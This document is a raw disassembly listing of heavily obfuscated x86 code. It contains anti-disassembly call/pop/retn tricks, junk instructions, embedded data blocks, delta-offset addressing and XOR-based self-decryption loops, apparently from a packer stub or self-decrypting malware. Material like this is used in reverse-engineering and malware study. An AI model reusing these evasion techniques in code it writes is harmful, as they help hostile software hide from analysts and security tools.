; ---------------------------------------------------------------------------
		pusha
		xor	edi, 59579BB5h
		adc	edi, 51C7766Fh
		popa
		pop	esi
		mov	dh, 0F7h
		cmp	eax, 0
		jz	loc_5A90D1
		push	0
		push	ecx
		call	loc_5A86E5
		and	[ecx-3Dh], bl


loc_5A86E5:				; CODE XREF: sub_5A55E5+30F8p
		pop	ecx
		mov	[esp+4], ecx
		add	dword ptr [esp+4], 18h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		sub	al, 0Fh
		sbb	[edx+1D8D298Ch], ah
		add	bh, dl
		pop	es
		cmp	eax, 1
		jnz	loc_5A884F
		mov	edx, 312D12AEh
		mov	eax, 0
		add	[ebp+7FA04E9h],	ecx
		or	eax, eax
		jz	loc_5A87FB
		mov	edx, eax
		pusha
		mov	[ebp+7FA1E49h],	ebx
		mov	[ebp+7FA1D35h],	ebx
		popa
		cmp	eax, 1
		jz	loc_5A8811
		stc
		cmp	eax, 3
		jz	loc_5A87C7
		clc
		sub	eax, eax
		push	0
		push	ebp
		call	loc_5A8752
		and	[ebp-3Dh], bl


loc_5A8752:				; CODE XREF: sub_5A55E5+3165p
		pop	ebp
		mov	[esp+4], ebp
		add	dword ptr [esp+4], 17h
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		dw 793Ah
		dd 0AE97413h, 90000000h, 0D754DBF6h, 334F45B5h,	10E97Eh
		dd 92650000h, 90A1689Dh, 0E411EC62h, 608091Dh, 0BD8D8420h
		dd 5B89E0h, 13399533h, 0E7FF07FAh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0C2C35343h,	465E381Fh, 5E960h
		dd 55FC0000h, 61E9BF07h
; ---------------------------------------------------------------------------
		movsx	ebx, bx


loc_5A87C7:				; CODE XREF: sub_5A55E5+3159j
					; sub_5A55E5+32B4j
		mov	eax, 1
		clc
		lea	edi, (loc_5B89DD+3)[ebp]
		push	0
		push	ebx
		call	loc_5A87DE
		and	[ebx-3Dh], bl


loc_5A87DE:				; CODE XREF: sub_5A55E5+31F1p
		pop	ebx
		mov	[esp+4], ebx
		add	dword ptr [esp+4], 16h
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	ecx, 0BD9D89B1h
		add	bh, dl
		pop	es
		jmp	edi
; ---------------------------------------------------------------------------
		mov	edx, edi


loc_5A87FB:				; CODE XREF: sub_5A55E5+3136j
		lea	edi, [ebp+7FA4563h]
		mov	[ebp+7FA0175h],	ecx
		jmp	loc_5A8A73
; ---------------------------------------------------------------------------
		push	esi
		add	dl, 0B9h
		pop	edx


loc_5A8811:				; CODE XREF: sub_5A55E5+314Fj
					; sub_5A55E5+32A8j
		mov	dword ptr [ebp+7FA4F32h], 5
		jle	loc_5A8827
		sub	[ebp+7FA1605h],	eax


loc_5A8827:				; CODE XREF: sub_5A55E5+3236j
		sbb	ebx, 4D4AAC1h
		mov	eax, 5
		pusha
		mov	[ebp+7FA0601h],	edi
		pusha
		add	[ebp+7FA1315h],	ecx
		js	$+6
		popa
		popa
		jmp	loc_5A906B
; ---------------------------------------------------------------------------
		mov	ebx, esi


loc_5A884F:				; CODE XREF: sub_5A55E5+311Ej
		cmp	eax, 2
		jnz	loc_5A8904	; CODE XREF: sub_5A55E5:loc_5A88CAj
		jmp	loc_5A886D
; ---------------------------------------------------------------------------
		lodsd
		sahf
		pop	eax
		and	bh, [ebp+1AAA4B25h]
		mov	ch, [edi]
		fisub	dword ptr [ebx]
		xchg	eax, ecx
		jecxz	short loc_5A88CA


loc_5A886D:				; CODE XREF: sub_5A55E5+3273j
		mov	eax, 0
		mov	edx, [ebp+7FA1E9Dh]
		mov	edx, edi
		or	eax, eax
		jz	loc_5A88DC
		mov	bl, al
		adc	edx, 13D0CE65h
		cmp	eax, 1
		jz	loc_5A8811
		movsx	ebx, si
		cmp	eax, 3
		jz	loc_5A87C7
		mov	[ebp+7FA2DD9h],	ecx
		sub	eax, eax
		push	0
		push	ebx
		call	loc_5A88B2
		and	[ebx-3Dh], bl


loc_5A88B2:				; CODE XREF: sub_5A55E5+32C5p
		pop	ebx
		mov	[esp-12h+arg_C+2], ebx
		add	[esp-12h+arg_C+2], 16h
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		dw 7331h
		dd 22E38091h
		db 8Dh,	0BDh
; ---------------------------------------------------------------------------


loc_5A88CA:				; CODE XREF: sub_5A55E5+3286j
		loopne	near ptr loc_5A8852+3
		pop	ebx
		add	[edi], cl
		mov	bh, 0D7h
		jmp	edi
; ---------------------------------------------------------------------------
		mov	dx, si
		mov	[ebp+7FA13B5h],	eax


loc_5A88DC:				; CODE XREF: sub_5A55E5+3297j
		lea	edi, [ebp+7FA475Bh]
		mov	bx, 0DA40h
		jmp	loc_5A8A73
; ---------------------------------------------------------------------------
		jmp	loc_5A8904
; ---------------------------------------------------------------------------
		dd 8B24D143h, 0B95F21F3h, 0C63281A6h, 318942C0h, 4675E10Ch
; ---------------------------------------------------------------------------


loc_5A8904:				; CODE XREF: sub_5A55E5:loc_5A8852j
					; sub_5A55E5+3306j
		cmp	eax, 3
		jnz	loc_5A8970
		push	0
		push	ebp
		call	loc_5A8918
		and	[ebp-3Dh], bl


loc_5A8918:				; CODE XREF: sub_5A55E5+332Bp
		pop	ebp
		mov	[esp+4], ebp
		add	dword ptr [esp+4], 15h
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		dd 7E9F97Eh, 0D1000000h, 0B1CBCBD5h, 0BD8DD70Fh, 7FA48EFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 73C35747h
		dd 17D451F5h, 0F585C07Fh, 10DE9D3h, 0BA660000h,	85895890h
		dd 7FA3191h
; ---------------------------------------------------------------------------


loc_5A8970:				; CODE XREF: sub_5A55E5+3322j
		cmp	eax, 5
		jnz	loc_5A8994
		js	loc_5A8983
		push	esi
		pusha
		popa
		pop	edx


loc_5A8983:				; CODE XREF: sub_5A55E5+3394j
		pusha
		mov	dx, 72C6h
		popa
		jmp	loc_5A906B
; ---------------------------------------------------------------------------
		add	[ebp+7FA2D8Dh],	edi


loc_5A8994:				; CODE XREF: sub_5A55E5+338Ej
		cmp	eax, 6
		jnz	loc_5A89DC
		push	0
		push	ecx
		call	loc_5A89A8
		and	[ecx-3Dh], bl


loc_5A89A8:				; CODE XREF: sub_5A55E5+33BBp
		pop	ecx
		mov	[esp+4], ecx
		add	dword ptr [esp+4], 1Dh
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		dd 0F8CCAFB5h, 872B7B8Eh, 0BD8DCA13h, 7FA4AE7h,	0DF8B6660h
		dd 0D818A0BFh, 9CE96110h, 0BA000000h, 10EB46Ah
; ---------------------------------------------------------------------------


loc_5A89DC:				; CODE XREF: sub_5A55E5+33B2j
		cmp	eax, 7
		jnz	loc_5A89FF
		sbb	ebx, 0C9A6CD6h
		lea	edi, [ebp+7FA2F19h]
		mov	ebx, [ebp+7FA2725h]
		jmp	loc_5A8AFC
; ---------------------------------------------------------------------------
		movsx	edx, di


loc_5A89FF:				; CODE XREF: sub_5A55E5+33FAj
		cmp	eax, 0Ah
		jnz	loc_5A8A73
		jmp	loc_5A8A1E
; ---------------------------------------------------------------------------
		db 51h,	0CDh, 98h
		dd 27E80A02h, 0AC7CD2ADh, 42CA7E00h
		db 3Bh,	47h
; ---------------------------------------------------------------------------


loc_5A8A1E:				; CODE XREF: sub_5A55E5+3423j
		lea	edi, [ebp+7FA4CDFh]
		mov	ebx, 12A2E26Ch
		jmp	loc_5A8A73
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	loc_5A8A39
		and	[esi-3Dh], bl


loc_5A8A39:				; CODE XREF: sub_5A55E5+344Cp
		pop	esi
		mov	[esp+4], esi
		add	dword ptr [esp+4], 1Dh
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		db 0C7h, 0F4h, 0A1h
		dd 23A1ADE4h, 60607C66h, 12E8h,	0EE0B3000h, 0E4672A0Fh
		dd 9220841Bh, 0CECD578Ah, 235DF18Eh, 0FA1B55B5h
; ---------------------------------------------------------------------------
		pop	es
		pop	eax
		popa


loc_5A8A73:				; CODE XREF: sub_5A55E5+3222j
					; sub_5A55E5+3301j ...
		push	edi
		mov	ebx, edx
		mov	ecx, 682EB18Eh
		push	0
		push	edx
		call	loc_5A8A86
		and	[edx-3Dh], bl


loc_5A8A86:				; CODE XREF: sub_5A55E5+3499p
		pop	edx
		mov	[esp+4], edx
		add	dword ptr [esp+4], 15h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		retn	33DAh
; ---------------------------------------------------------------------------
		popf
		stc
		add	al, 0FAh
		pop	es


loc_5A8A9E:				; CODE XREF: sub_5A55E5:loc_5A8AE2j
		cmp	dword ptr [edi], 0
		jz	loc_5A8AF5
		xor	[edi], cl
		mov	bx, 7339h
		ror	ecx, 1
		push	0
		push	eax
		call	loc_5A8ABA
		and	[eax-3Dh], bl


loc_5A8ABA:				; CODE XREF: sub_5A55E5+34CDp
		pop	eax
		mov	[esp-36h+arg_32], eax
		add	[esp-36h+arg_32], 1Bh
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		mov	dh, 0B9h
		aas
		sbb	eax, 420EDFA2h
		add	bl, 0DAh
		inc	edi
		jnz	loc_5A8AE2
		add	ebx, [ebp+7FA18E1h]


loc_5A8AE2:				; CODE XREF: sub_5A55E5+34F1j
		jmp	loc_5A8A9E
; ---------------------------------------------------------------------------
		push	ecx
		jnb	loc_5A8AF4
		jns	$+6


loc_5A8AF4:				; CODE XREF: sub_5A55E5+3503j
		pop	ebx


loc_5A8AF5:				; CODE XREF: sub_5A55E5+34BCj
		pop	edi
		adc	ebx, 2D3E45D6h


loc_5A8AFC:				; CODE XREF: sub_5A55E5+3412j
		mov	[ebp+7FA4EDBh],	edi
		ja	loc_5A8B0E
		mov	ebx, [ebp+7FA27D1h]


loc_5A8B0E:				; CODE XREF: sub_5A55E5+351Dj
		xor	edx, 636CBA07h
		lea	ecx, [ebp+7FA1421h]
		jmp	loc_5A8B27
; ---------------------------------------------------------------------------
		db 0D1h
		dd 7D604404h
		db 0F2h, 0E0h, 2Ah
; ---------------------------------------------------------------------------


loc_5A8B27:				; CODE XREF: sub_5A55E5+3535j
		push	dword ptr [ebp+7FA1C0Dh]
		push	0
		push	esi
		call	loc_5A8B38
		and	[esi-3Dh], bl


loc_5A8B38:				; CODE XREF: sub_5A55E5+354Bp
		pop	esi
		mov	[esp+4], esi
		add	dword ptr [esp+4], 18h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		dd 0E0EDD5EBh, 0D0858D1Fh, 5007FD38h, 5744BD8Dh, 8D8D07FAh
		dd 7FA7063h, 831ABCB8h,	30CF2B54h, 47C8D007h, 8DF87549h
		dd 0FA6FF1B5h, 7B8D8D07h, 2B07FA70h, 33A4F3CFh,	0B8C9h
		dd 0C00B0000h, 0BD834674h, 7FA174Dh, 0FF067400h, 0FA203D95h
		dd 0DBB58B07h, 8D07FA4Eh, 0FD38D085h, 8DD0FF07h, 0FA433885h
		dd 0C7D0FF07h, 0FA262585h, 107h, 9DA58B00h, 8B07FA0Ah
		dd 0FA33BDB5h, 0D9AD8B07h, 3307FA14h, 0CC2C0h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 7CC35141h, 63404F3Ch
		dd 0F764258Ch, 6860Fh, 0BD890000h, 7FA2DD9h, 17719D8Bh
		dd 0BF0F07FAh, 0A5BD83D2h, 7FA07h, 11840Fh, 9D8B0000h
		dd 7FA0651h, 1C9595FFh,	2CBA07FAh, 83252068h, 0FA0461BDh
		dd 850F0007h, 176h, 32A9B589h, 0BD8307FAh, 7FA27ADh, 63850F01h
		dd 89000001h, 0FA10CDBDh, 15BD8307h, 7FA35h, 150840Fh
		dd 9D890000h, 7FA2655h,	4F2EBD83h, 0F0007FAh, 13D84h, 0D0858D00h
		dd 0B207FD38h, 0DBB58B5Dh, 6007FA4Eh, 0FB31D381h, 858947E4h
		dd 7FA0705h, 6AD0FF61h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 4436C356h, 864683Ah
		dd 0CD98D89h, 8D0907FAh, 7FA205Dh, 157185C6h, 895407FAh
		dd 0FA0545B5h, 0FCEF6807h, 0BE9E340h, 0C7000000h, 0EB65BA1Dh
		dd 9D83B334h, 348164AFh, 0E421B24h, 57006A1Ch, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 7A70BC7h, 8B83DEE1h
		dd 29B5FFDFh, 6A07FA12h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 2F4FC357h, 0FCA19CC9h
		dd 93858DF5h, 8A07FA3Bh, 8BD0FFD1h, 0FA1CD595h,	9006A07h
		dd 0FA27B9B5h, 85952B07h, 6A07FA27h, 0DE8FFh, 169C0000h
		dd 2E844966h, 0D4059A4h, 0BB607AC7h, 1BAA9B63h,	0E9D0FF5Ah
		dd 8, 0AE3ADAB4h, 14CEB371h, 31CDB5FFh,	6A07FAh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 526DDAC3h, 24458589h, 0FF5B07FAh, 0FA1C0D95h, 0B7CFBB07h
		dd 0B58B5A85h, 7FA4EDBh, 17E1958Bh, 958B07FAh, 7FA09F5h
		dd 59589C3h, 8B07FA13h,	0FA1419B5h, 0BF5B207h, 31840FF6h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 1544C355h, 1A8BAD16h, 0B5895E81h
		dd 7FA04CDh, 660006C6h,	0AA5ECB81h, 4EE38589h, 6A07FAh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 828E01C3h, 0BB987C3Eh, 0C28041EAh, 0F883A9h,	297840Fh
		dd 0B70F0000h, 0B8DBh, 9D8B0000h, 7FA1959h, 0F00F883h
		dd 0D484h, 0C99D8B00h, 8307FA21h, 850F02F8h, 8Dh, 5830Fh
		dd 15BB0000h, 8D041B3Dh, 0FA455E85h, 8D958B07h,	2D07FA32h
		dd 929h, 0CE86060h, 0FF000000h,	0F2692041h, 50F47834h
		dd 5AE715F7h, 0B70F61F5h, 669061C0h, 502456BBh,	6A90D08Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0C3E5C357h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0D4C35545h, 0FE915h, 53380000h, 0D39EB622h
		dd 917F6E99h, 0C000CEC7h, 0B83Ch, 0DE90000h, 2F000000h
		dd 53EB7AA8h, 0A2B48B87h, 0F6B64A10h, 1C8E9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 1B85Dh, 0CA800000h, 63BD8D0Eh, 8A07FA45h, 0E9DA8BD5h
		dd 0A1h, 68A0Fh, 958B0000h, 7FA26A9h, 0F02F883h, 1D85h
		dd 0B19D8900h, 8D07FA26h, 0FA475BBDh, 718D8907h, 0E907FA1Dh
		dd 75h,	3A98501h, 0F88307FAh, 25850F03h, 8B000000h, 0FA17819Dh
		dd 0FF86007h, 584h, 0F2816600h,	8D61B2D0h, 0FA48EFBDh
		dd 18BB6607h, 43E98Ch, 0CFB30000h, 0F05F883h, 3885h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 44D9FEA3h, 8D89B6A7h, 7FA2825h, 9AE9h, 0E1958900h, 8907FA0Ch
		dd 0FA07AD8Dh, 6A5707h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0ED33D4C3h, 0C217E15Eh, 0B18EB994h
		dd 0BA66682Eh, 3F836B5Dh, 58840F00h, 89000000h,	0FA024D9Dh
		dd 660F3007h, 0F3B8FBBh, 0C9D1D8BFh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 1BC35545h, 4F431D26h, 0BD131041h
		dd 34459D8Bh, 816607FAh, 0F7B2AF3h, 8947D8B7h, 0FA18A5BDh
		dd 0E9FD8A07h, 0FFFFFFA6h, 59EA8166h
		db 8Dh,	8Ah, 0D1h
; ---------------------------------------------------------------------------


loc_5A906B:				; CODE XREF: sub_5A55E5+3263j
					; sub_5A55E5+33A4j
		cmp	eax, 5
		jnz	loc_5A90D1
		ja	loc_5A9082
		push	esi
		jo	$+6
		pop	edx


loc_5A9082:				; CODE XREF: sub_5A55E5+3A8Fj
		mov	cx, ds
		movsx	ebx, dx
		test	cl, 4
		jnz	loc_5A909E
		cmc
		mov	eax, 0
		mov	bh, cl
		jmp	loc_5A90D1
; ---------------------------------------------------------------------------


loc_5A909E:				; CODE XREF: sub_5A55E5+3AA6j
		mov	eax, [ebp+7FA32ADh]
		mov	[ebp+7FA0C41h],	eax
		jmp	loc_5A90C1
; ---------------------------------------------------------------------------
		db 26h
		dd 274238Fh, 8B27E64Eh,	0EEF8AC14h, 0EE00BC5Eh
		db 76h
; ---------------------------------------------------------------------------


loc_5A90C1:				; CODE XREF: sub_5A55E5+3AC5j
		jmp	eax
; ---------------------------------------------------------------------------
		pusha
		or	[ebp+7FA073Dh],	edx
		sbb	edi, 4B436E26h
		popa


loc_5A90D1:				; CODE XREF: sub_5A55E5+30EFj
					; sub_5A55E5+3A89j ...
		cmp	dword ptr [ebp+7FA1C0Dh], 0
		jnz	loc_5A91E7
		mov	dx, 0AF0Fh
		push	eax
		mov	dx, di
		mov	[esp-8+arg_4], eax
		push	0
		push	ecx
		call	loc_5A90F4
		and	[ecx-3Dh], bl


loc_5A90F4:				; CODE XREF: sub_5A55E5+3B07p
		pop	ecx
		mov	[esp-0Ah+arg_8+2], ecx
		add	[esp-0Ah+arg_8+2], 14h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		retn	0BF0Fh
; ---------------------------------------------------------------------------
		db 0D8h
		dd 157185C6h, 8B4507FAh, 0FA092595h, 4E807h, 69690000h
		dd 0BB668E72h, 8B50F052h, 24448BDEh, 8810F04h, 60000000h
		dd 890Fh, 8B610000h, 0A404BA00h, 44895B32h, 5E90424h, 0BA000000h
		dd 93C2642Ah, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0B76D16D5h, 29B5FF10h, 6A07FA12h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0EA51C351h, 8E9h,	0F6EC1900h, 0A48CC1Fh
		dd 93858DA6h, 8B07FA3Bh, 0FA117D95h, 0FD0FF07h,	86h, 0D858900h
		dd 8907FA1Ch, 0FA1CC19Dh, 0F98A5007h, 6A585Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 987A8FC3h, 0F1C38159h
		db 7Ah,	5Bh, 61h
; ---------------------------------------------------------------------------


loc_5A91E7:				; CODE XREF: sub_5A55E5+3AF3j
		cmp	dword ptr [ebp+7FA4F32h], 0
		jz	loc_5A923B
		mov	dx, cx
		push	dword ptr [ebp+7FA31CDh]
		mov	edx, ebx
		push	ebx
		mov	ebx, [ebp+7FA0649h]
		pop	edx
		call	dword ptr [ebp+7FA1C0Dh]
		push	0
		push	ebp
		call	loc_5A9218
		and	[ebp-3Dh], bl


loc_5A9218:				; CODE XREF: sub_5A55E5+3C2Bp
		pop	ebp
		mov	[esp-0Ah+arg_8+2], ebp
		add	[esp-0Ah+arg_8+2], 1Ch
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		dd 18A81DBDh, 0EEA232E5h, 1DB58940h, 6607FA29h
		db 0BBh, 79h, 45h
; ---------------------------------------------------------------------------


loc_5A923B:				; CODE XREF: sub_5A55E5+3C09j
		cmp	eax, 0
		jnz	loc_5A9347
		push	0
		push	esi
		call	loc_5A924F
		and	[esi-3Dh], bl


loc_5A924F:				; CODE XREF: sub_5A55E5+3C62p
		pop	esi
		mov	[esp+4], esi
		add	dword ptr [esp+4], 19h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		pushf
		mov	edi, 733CE014h
		mov	[ebp+7FA28A1h],	ecx
		adc	ebx, 2C23055Bh
		cmp	dword ptr [ebp+7FA0AADh], 0
		jz	loc_5A92B0
		jl	loc_5A9289
		xor	bx, 26DFh


loc_5A9289:				; CODE XREF: sub_5A55E5+3C99j
		push	dword ptr [ebp+7FA0AADh]
		sbb	bl, 42h
		add	[ebp+7FA0499h],	ecx
		mov	eax, 1
		pusha
		mov	[ebp+7FA33F1h],	edx
		popa
		jmp	loc_5A94FA
; ---------------------------------------------------------------------------
		mov	[ebp+7FA0CD1h],	ecx


loc_5A92B0:				; CODE XREF: sub_5A55E5+3C93j
		push	dword ptr [ebp+7FA31CDh]
		jmp	loc_5A92C0
; ---------------------------------------------------------------------------
		db 0E4h
		dd 0A2D8C542h
; ---------------------------------------------------------------------------


loc_5A92C0:				; CODE XREF: sub_5A55E5+3CD1j
		push	dword ptr [ebp+7FA31CDh]
		push	0
		push	ebx
		call	loc_5A92D1
		and	[ebx-3Dh], bl


loc_5A92D1:				; CODE XREF: sub_5A55E5+3CE4p
		pop	ebx
		mov	[esp+4], ebx
		add	dword ptr [esp+4], 16h
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		align 2
		mov	dh, 0ACh
		cld
		push	dword ptr [ebp+7FA1C0Dh]
		push	0
		push	ecx
		call	loc_5A92F6
		and	[ecx-3Dh], bl


loc_5A92F6:				; CODE XREF: sub_5A55E5+3D09p
		pop	ecx
		mov	[esp+6+var_4+2], ecx
		add	[esp+6+var_4+2], 1Ah
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		sbb	[ecx], edi
		pop	edi
		inc	ecx
		or	ah, 0FBh
		mov	[ebp+7FA31B5h],	edi
		pusha
		jle	loc_5A9320
		add	edx, 1ED59975h


loc_5A9320:				; CODE XREF: sub_5A55E5+3D2Fj
		stc
		popa
		jmp	loc_5A94FA
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	loc_5A9332
		and	[ebx-3Dh], bl


loc_5A9332:				; CODE XREF: sub_5A55E5+3D45p
		pop	ebx
		mov	[esp+4], ebx
		add	dword ptr [esp+4], 18h
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		dw 68EAh
; ---------------------------------------------------------------------------
		xor	al, 9Eh
		inc	ecx


loc_5A9347:				; CODE XREF: sub_5A55E5+3C59j
		pop	edi
		push	0
		push	edx
		call	loc_5A9353
		and	[edx-3Dh], bl


loc_5A9353:				; CODE XREF: sub_5A55E5+3D66p
		pop	edx
		mov	[esp-12h+arg_C+2], edx
		add	[esp-12h+arg_C+2], 1Bh
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		db 0D2h
		dd 0B98D3374h, 0BA4B4B64h, 4B14635Fh, 0C088D381h, 0BD832254h
		dd 7FA00B9h, 74850F00h,	8B000000h, 0FA00F995h, 7185C607h
		dd 4D07FA15h, 87F1C868h, 0DF8B6631h, 0E0240481h, 6A72AD84h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 2964C350h, 0CE19D23h, 0B5FF07FAh,	7FA21DDh
		dd 11D99D8Bh, 858D07FAh, 7FA3B93h, 25D5958Bh, 0D0FF07FAh
		dd 8961F860h, 0FA00B985h, 95B58907h, 0F07FA28h,	68Ch, 0A5950900h
		dd 0B807FA24h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	loc_5A9407
		and	[eax-3Dh], bl


loc_5A9407:				; CODE XREF: sub_5A55E5+3E1Ap
		pop	eax
		mov	[esp-10h+arg_C], eax
		add	[esp-10h+arg_C], 17h
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		db 7Fh
; ---------------------------------------------------------------------------
		mov	[edi+0Bh], bh
		jns	loc_5A9424
		push	edi
		clc
		pop	edx


loc_5A9424:				; CODE XREF: sub_5A55E5+3E36j
		cmc
		mov	[ebp+7FA4EDBh],	edi
		mov	ebx, [ebp+7FA2859h]
		or	eax, eax
		jz	loc_5A94A2
		push	0
		push	ecx
		call	loc_5A9444
		and	[ecx-3Dh], bl


loc_5A9444:				; CODE XREF: sub_5A55E5+3E57p
		pop	ecx
		mov	[esp+4], ecx
		add	dword ptr [esp+4], 1Ah
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		dd 18418779h, 0E971F254h, 0Ah, 9BCB0501h, 3D7D6D43h, 8BE9EE14h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 502EC353h, 0D7BF0FE1h,	6E8h, 0AA3B0700h
		dd 890CBAEAh, 0FA13DD95h
; ---------------------------------------------------------------------------
		pop	es
		pop	edx


loc_5A94A2:				; CODE XREF: sub_5A55E5+3E4Ej
		push	dword ptr [ebp+7FA1C0Dh]
		xor	dl, 0D9h
		lea	eax, [ebp+7FD38D0h]
		sbb	dx, 19D7h
		pusha
		mov	[ebp+7FA1741h],	edx
		mov	ebx, 39F6808Ah
		popa
		nop
		pusha
		pusha
		push	eax
		pop	esi
		push	ecx
		pop	edx
		popa
		mov	ecx, eax
		popa
		push	eax
		mov	dl, 4Dh
		nop
		push	0
		push	ebx
		call	loc_5A94DD
		and	[ebx-3Dh], bl


loc_5A94DD:				; CODE XREF: sub_5A55E5+3EF0p
		pop	ebx
		mov	[esp+4], ebx
		add	dword ptr [esp+4], 1Ah
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		db 0ADh, 0Bh, 55h
		dd 4DEEF97Ch, 326DB509h
; ---------------------------------------------------------------------------
		cli
		pop	es


loc_5A94FA:				; CODE XREF: sub_5A55E5+3CC0j
					; sub_5A55E5+3D3Dj
		push	eax
		push	esi
		lea	edi, [ebp+7FA5744h]
		lea	ecx, [ebp+7FA7A0Bh]
		mov	eax, 748323BCh
		sub	ecx, edi


loc_5A950F:				; CODE XREF: sub_5A55E5+3F30j
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_5A950F
		pop	esi
		pop	eax
		cmp	dword ptr [ebp+7FA0AADh], 0
		jz	short loc_5A9528
		mov	ecx, [ebp+7FA33E9h]


loc_5A9528:				; CODE XREF: sub_5A55E5+3F3Bj
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	loc_5A95DF
		cmp	dword ptr [ebp+7FA174Dh], 0
		jz	short loc_5A9546
		call	dword ptr [ebp+7FA203Dh]


loc_5A9546:				; CODE XREF: sub_5A55E5+3F59j
		mov	eax, 0
		or	eax, eax
		jnz	short loc_5A9558
		cmp	dword ptr [ebp+7FA4EE3h], 1
		jz	short loc_5A9561


loc_5A9558:				; CODE XREF: sub_5A55E5+3F68j
		cmp	dword ptr [ebp+7FA4EE3h], 2
		jnz	short loc_5A956F


loc_5A9561:				; CODE XREF: sub_5A55E5+3F71j
		mov	esi, [ebp+7FA4EDBh]
		lea	eax, [ebp+7FD38D0h]
		call	eax	; _adjust_fdiv


loc_5A956F:				; CODE XREF: sub_5A55E5+3F7Aj
		cmp	dword ptr [ebp+7FA07A5h], 0
		jz	short loc_5A957E
		call	dword ptr [ebp+7FA1C95h]


loc_5A957E:				; CODE XREF: sub_5A55E5+3F91j
		lea	eax, [ebp+7FA4338h]
		call	eax	; _adjust_fdiv
		cmp	dword ptr [ebp+7FA1BE1h], 2
		jnz	short loc_5A95BE
		mov	esp, [ebp+7FA0A9Dh]
		mov	eax, [ebp+7FA0AADh]
		mov	[esp-0Ch+arg_8], eax
		mov	dword ptr [ebp+7FA2625h], 1
		mov	esi, [ebp+7FA4EDFh]
		mov	ebp, [ebp+7FA14D9h]
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------
		jmp	short $+2


loc_5A95BE:				; CODE XREF: sub_5A55E5+3FA8j
		mov	dword ptr [ebp+7FA2625h], 1
		mov	esp, [ebp+7FA0A9Dh]
		mov	esi, [ebp+7FA33BDh]
		mov	ebp, [ebp+7FA14D9h]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_5A95DF:				; CODE XREF: sub_5A55E5+3F4Cj
		cmp	dword ptr [ebp+7FA07A5h], 0
		jz	short loc_5A95F7
		cmp	dword ptr [ebp+7FA1C95h], 0
		jz	short loc_5A95F7
		call	dword ptr [ebp+7FA1C95h]


loc_5A95F7:				; CODE XREF: sub_5A55E5+4001j
					; sub_5A55E5+400Aj
		mov	esi, [ebp+7FA4EDBh]
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+7FA09A5h],	ecx
		push	0
		push	eax
		call	loc_5A960F
		and	[eax-3Dh], bl


loc_5A960F:				; CODE XREF: sub_5A55E5+4022p
		pop	eax
		mov	[esp+4], eax
		add	dword ptr [esp+4], 1Ah
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		db 7Dh
		dd 0FEE0B30h, 0BF0F672Ah, 0BAD9h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0FD050BC3h
		dd 0FBA3EE17h, 8BDBC2DCh, 0FA32CD95h, 15820F07h, 0E9000000h
		dd 10h,	4053568Ah, 9B64C947h, 5D1A2F4Ah, 3CB2D88h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
